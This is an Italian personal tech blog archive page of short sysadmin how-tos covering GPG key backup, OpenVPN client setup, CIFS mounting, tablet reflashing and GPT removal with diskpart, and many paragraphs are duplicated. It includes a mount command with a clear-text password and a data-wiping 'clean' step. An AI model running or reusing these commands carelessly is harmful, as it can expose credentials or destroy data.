gpg: key CA57AD7C: public key "PGP Global Directory Verification Key" imported
gpg: Numero totale esaminato: 1
gpg: importate: 1 (RSA: 1)
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
Per effettuare il backup e copiare le chiavi si puo' seguire
luca@debian:~/Scaricati$ gpg -ao backup_pub.key --export 48CFC879
luca@debian:~/Scaricati$ gpg -ao backup_priv.key --export-secret-keys D7979695
i file delle chiavi sono tutti contenuti nella propria home/.gnupg
/home/luca/.gnupg/pubring.gpg
-----------------------------
pub 4096R/48CFC879 2015-02-13
uid Luca Innocenti <lucainnoc@gmail.com>
sub 4096R/D7979695 2015-02-13
pub 2048R/CA57AD7C 2004-12-06
uid PGP Global Directory Verification Key
uid [jpeg image of size 3400]
uid DNR KS1 <do-not-reply@keyserver1.pgp.com>
uid DNR-KS2 <do-not-reply@keyserver2.pgp.com>
se si vuole seguire la via semplice invece si puo' usare l'estensione EnigmaMail per Thunderbird. Una volta installata mediante Strumenti/Componenti Aggiuntivi basta seguire i menu' di guida per creare le chiavi GPG e le impostazione di base di invio delle mail (vale per Mac, Windows e Linux)
Con questo sistema e' gestita in modo automatico la pubblicazione di chiavi sui server
Su Gmail esiste una estensione chiamata Mymail-Crypt che pero' mi ha dato problemi con le chiavi a 4096 bit (sembra che accetti solo le chiavi a 2048 bit)
mercoledì 28 gennaio 2015
Installare client OpenVPN (Windows,Linux,Mac,IOS)
In questo post viene indicato come configurare i client OpenVPN su varia piattaforme
Si parte avendo disponibili i file client.crt, client.key, ca.crt e config.ovpn tutti nella stessa directory
Sui dispositivi desktop sono necessari i privilegi di amministratore perche' di fatto viene creata una interfaccia di rete virtuale
Linux
da linea di comando
openvpn --config file.ovpn
in Ubuntu c'e' anche una procedura guidata visuale dal menu delle connessioni di rete /VPN
MAC (Tunnelblick)
Si clicca sul file ovpn
Viene richiesto di aggiungere la chiave a Tunnelblick (richiesta anche la password)
Per connettersi basta cliccare sull'icona di Tunnelblick e selezionare la VPN desiderata
IOS (Client OpenVPN)
Tramite Itunes si seleziona il dispositivo, poi il tab App, si scorre verso il basso in Condivisione File e si aggiungono tutti e quattro i file
Si parte avendo disponibili i file client.crt, client.key, ca.crt e config.ovpn tutti nella stessa directory
Sui dispositivi desktop sono necessari i privilegi di amministratore perche' di fatto viene creata una interfaccia di rete virtuale
Linux
da linea di comando
openvpn --config file.ovpn
in Ubuntu c'e' anche una procedura guidata visuale dal menu delle connessioni di rete /VPN
MAC (Tunnelblick)
Si clicca sul file ovpn
Viene richiesto di aggiungere la chiave a Tunnelblick (richiesta anche la password)
Per connettersi basta cliccare sull'icona di Tunnelblick e selezionare la VPN desiderata
IOS (Client OpenVPN)
Tramite Itunes si seleziona il dispositivo, poi il tab App, si scorre verso il basso in Condivisione File e si aggiungono tutti e quattro i file
sul telefono verra' riconosciuta la nuova configurazione, Si clicca il pulsante + verde per aggiungerla
A questo punto con il pulsante a slitta si lancia la connessione
Windows (Client OpenVPN)
Si scarica il client da questo link e si copiano i quattro file in C:\Programmi\OpenVPN\config
Si apre quindi OpenVPN GUI
Appare un'icona nella traybar. Si clicca destro e connetti
lunedì 12 maggio 2014
Da SMB Share name a IP
Per trovare l'indirizzo IP di una connessione SMB sotto Windows e' sufficiente richiamare il comando NBTSTAT seguito dal nome del computer
Per esempio
nbtstat -a hw2229
Per esempio
nbtstat -a hw2229
lunedì 5 maggio 2014
JDK 8 e WIndows XP
Installando JDK8 su Windows XP, l'installer ha generato questo errore ovvero non e' stata trovata la chiave di registor RegDeleteKeyExA in ADVAPI32.DLL
Dopo un po' di ricerche ho trovato sul sito Oracle che JDK8 non supporta Windows XP e che quindi si deve rimanere sulla versione precedente
Dopo un po' di ricerche ho trovato sul sito Oracle che JDK8 non supporta Windows XP e che quindi si deve rimanere sulla versione precedente
martedì 1 ottobre 2013
MTP in Nexus 7 e Windows XP
Riprendendo questo post ho provato a vedere se era piu' facile utilizzare MTP su Windows XP
Questa procedura e' stata ripresa da questo link
per prima cosa si deve editare il file C:\WINDOWS\inf\wpdmtp.inf aggiungendo una linea come da esempio seguente
------------------------------
[Generic.NTx86]
Questa procedura e' stata ripresa da questo link
per prima cosa si deve editare il file C:\WINDOWS\inf\wpdmtp.inf aggiungendo una linea come da esempio seguente
------------------------------
[Generic.NTx86]
%GenericMTP.DeviceDesc%=MTP, USB\MS_COMP_MTP
%GenericMTP.DeviceDesc%=MTP, USB\VID_18D1&PID_4E42&MI_00
-------------------------------
lunedì 16 settembre 2013
Compilare OpenGl con CodeBlocks
Per compilare gli esempi di OpenGL derivanti dal sito Nehe in Windows si puo' prima installare Code::Blocks con MingW
Successivamente si installa la libreria OpenGL scaricando questo file (vedi sito originale)
A questo punto si copia manualmente.
1) il file glut32.dll in C:\Windows\System32
2) il file libglut32.a in C:\Programmi\CodeBlocks\MinGW\lib
3) il file glut.h in C:\Programmi\CodeBlocks\MinGW\include
Fatto cio' si puo' creare un nuovo progetto vuoto e con clic destro si selezionano le Build Options (vedi figura sottostante)
Nel tab Linker Settings si aggiungono opengl32, glu32 e glut32
Si puo' quindi procedere con la compilazione con il primo degli esempi OpenGl di Nehe
Successivamente si installa la libreria OpenGL scaricando questo file (vedi sito originale)
A questo punto si copia manualmente.
1) il file glut32.dll in C:\Windows\System32
2) il file libglut32.a in C:\Programmi\CodeBlocks\MinGW\lib
3) il file glut.h in C:\Programmi\CodeBlocks\MinGW\include
Fatto cio' si puo' creare un nuovo progetto vuoto e con clic destro si selezionano le Build Options (vedi figura sottostante)
Nel tab Linker Settings si aggiungono opengl32, glu32 e glut32
Si puo' quindi procedere con la compilazione con il primo degli esempi OpenGl di Nehe
giovedì 12 settembre 2013
Montare condivisioni Windows su Linux
Come al solito arrivo in ritardo.
Fino a qualche tempo fa montavo le condivisioni Windows mediante smbmount ed oggi che ne avevo bisogno non trovavo piu' il comando nella mia Debian Box
Con un po' di disappunto ho scoperto che il comando e' stato deprecato ed attualmente si deve procedere con
apt-get install cifs-utils
si crea poi la directory dove effettuare il mount
mkdir /mnt/cifs
Fino a qualche tempo fa montavo le condivisioni Windows mediante smbmount ed oggi che ne avevo bisogno non trovavo piu' il comando nella mia Debian Box
Con un po' di disappunto ho scoperto che il comando e' stato deprecato ed attualmente si deve procedere con
apt-get install cifs-utils
mkdir /mnt/cifs
e poi si usa cifs (le istruzioni sono riprese dal sistema che ho usato per copiare le Rom su ChameleonPi)
mount -t cifs //192.168.0.2/roms /mnt/cifs -o username=xz,password=spectrum
lunedì 29 luglio 2013
Mediacom 850i e ROM
Ieri ho rimesso mano al Mediacom 850i (fino ad adesso in possesso esclusivo di mio figlio) ed ho cercato un metodo per renderlo un po' piu' reattivo cercando qualche ROM partendo da questo link
In particolare ero curioso della PASCAPEX che necessita' pero' di installare la Cloclworkmod .. e qui sono iniziati i guai. Le istruzioni per CWM su Mediacom 850i si trovano qui ma dopo aver eseguito i programma il tablet non mostrava segni di vita con schermo completamente nero.
In realta' qualche segno di vita era presente perche' connettendo il cavo USB a Windows si vedeva (e sentiva) che una nuova porta era aggiunta..in pratica era come se il tablet fosse in modalita' recovery permanente a schermo spento.
Preso dallo sconforto ho frugato ed ho trovato che e' possibile aggiornare il firmware non solo tramite recovery ma anche utilizzando il software Rockchip Backup Tool (attualmente alla versione 1.4) ed una immagine completa del sistema
Attenzione : per il Mediacom 850i esistono due tipi di driver differenti. Quello per adb che permette la programmazione e di montare le memorie interne del tablet e quello da utilizzare per gestire la recovery (29Rockusb)
Come immagine ho preso vanilla (sembrava essere quella meno pericolosa e buggata) e dopo aver lanciato Rktool il tablet e' ripartito
Forse va un po' meglio di prima per quanto riguarda la velocita' ma e' presente un fastidiosissimo bug sulla gestione della grafica che corrompe alcune schermate. In compenso frugando un po' si trova il market ufficiale (non presente nella precedente versione se non in versione widget)
In ogni caso si puo' scaricare il pacchetto originale di ripristino dove sono contenuti tutti i programmi e le immagini per riportare il sistema all'originale
In particolare ero curioso della PASCAPEX che necessita' pero' di installare la Cloclworkmod .. e qui sono iniziati i guai. Le istruzioni per CWM su Mediacom 850i si trovano qui ma dopo aver eseguito i programma il tablet non mostrava segni di vita con schermo completamente nero.
In realta' qualche segno di vita era presente perche' connettendo il cavo USB a Windows si vedeva (e sentiva) che una nuova porta era aggiunta..in pratica era come se il tablet fosse in modalita' recovery permanente a schermo spento.
Preso dallo sconforto ho frugato ed ho trovato che e' possibile aggiornare il firmware non solo tramite recovery ma anche utilizzando il software Rockchip Backup Tool (attualmente alla versione 1.4) ed una immagine completa del sistema
Attenzione : per il Mediacom 850i esistono due tipi di driver differenti. Quello per adb che permette la programmazione e di montare le memorie interne del tablet e quello da utilizzare per gestire la recovery (29Rockusb)
Come immagine ho preso vanilla (sembrava essere quella meno pericolosa e buggata) e dopo aver lanciato Rktool il tablet e' ripartito
Forse va un po' meglio di prima per quanto riguarda la velocita' ma e' presente un fastidiosissimo bug sulla gestione della grafica che corrompe alcune schermate. In compenso frugando un po' si trova il market ufficiale (non presente nella precedente versione se non in versione widget)
In ogni caso si puo' scaricare il pacchetto originale di ripristino dove sono contenuti tutti i programmi e le immagini per riportare il sistema all'originale
Partizione GPT in Windows XP
Mi e' capitato di prendere un disco esterno da 500 Gb che non usavo da un po' di tempo e di non riuscire a montarlo su Windows Xp
Il sintomo e' che la periferica e' stata riconosciuta nella catena USB ma non veniva mostrata tra i dischi disponibili. Una verifica sugli strumenti di amministrazione/gestione dischi ha mostrato che il disco risultava integro ma con una partizione di protezione GPT...probabilmente avevo usato il disco su Windows 7.
Rimuovere la partizione GPT da Windows XP non e' banalissimo e comporta comunque la perdita dei dati.
Seguendo le istruzioni sul sito di Lacie si deve
entrare in shell (cmd), lanciare diskpart ed individuare il numero del disco (in questo caso 6)
ed effettuare
select disk 6
clean
a questo punto il disco di puo' formattare sotto Windows XP
Il sintomo e' che la periferica e' stata riconosciuta nella catena USB ma non veniva mostrata tra i dischi disponibili. Una verifica sugli strumenti di amministrazione/gestione dischi ha mostrato che il disco risultava integro ma con una partizione di protezione GPT...probabilmente avevo usato il disco su Windows 7.
Rimuovere la partizione GPT da Windows XP non e' banalissimo e comporta comunque la perdita dei dati.
Seguendo le istruzioni sul sito di Lacie si deve
entrare in shell (cmd), lanciare diskpart ed individuare il numero del disco (in questo caso 6)
ed effettuare
select disk 6
clean
a questo punto il disco di puo' formattare sotto Windows XP
venerdì 26 luglio 2013
Ext2/Ext3 su Windows
Dato che ho praticamente tutti i computer su Debian e' abbastanza ovvio che anche i dischi di backup siano formattati con filesytem Linux
Oggi pero' avevo la necessita' di scaricare i dati (e quindi di montare anche in sola lettura) i dischi di backup su un Windows Xp
La prima prova e' stata con Ext2Fsd. Questo metodo funziona ma ha dei grossi limiti, il piu' evidente e' quello di non riuscire a copiare dei file il cui nome includa caratteri speciali (spazi, accenti) il che e' abbastanza comune oggi
Il secondo tentativo e' stato con ExtFs, un prodotto commerciale che una licenza libera per uso personale
Il programma si comporta decisamente meglio del precedente (anche se non e' esente da difetti) e mi ha permesso di copiare oltre 10 Gb di dati con poche correzioni manuali
Oggi pero' avevo la necessita' di scaricare i dati (e quindi di montare anche in sola lettura) i dischi di backup su un Windows Xp
La prima prova e' stata con Ext2Fsd. Questo metodo funziona ma ha dei grossi limiti, il piu' evidente e' quello di non riuscire a copiare dei file il cui nome includa caratteri speciali (spazi, accenti) il che e' abbastanza comune oggi
Il secondo tentativo e' stato con ExtFs, un prodotto commerciale che una licenza libera per uso personale
Il programma si comporta decisamente meglio del precedente (anche se non e' esente da difetti) e mi ha permesso di copiare oltre 10 Gb di dati con poche correzioni manuali
Iscriviti a:
Post (Atom)
Dockerizza Flask
Un esempio semplice per inserire in un container Docker una applicazione Flask Partiamo da una semplice applicazione che ha un file app.py ...
-
In questo post viene indicato come creare uno scatterplot dinamico basato da dati ripresi da un file csv (nel dettaglio il file csv e' c...
-
Questo post e' a seguito di quanto gia' visto nella precedente prova Lo scopo e' sempre il solito: creare un sistema che permet...
-
La scheda ESP32-2432S028R monta un Esp Dev Module con uno schermo TFT a driver ILI9341 di 320x240 pixels 16 bit colore.Il sito di riferiment...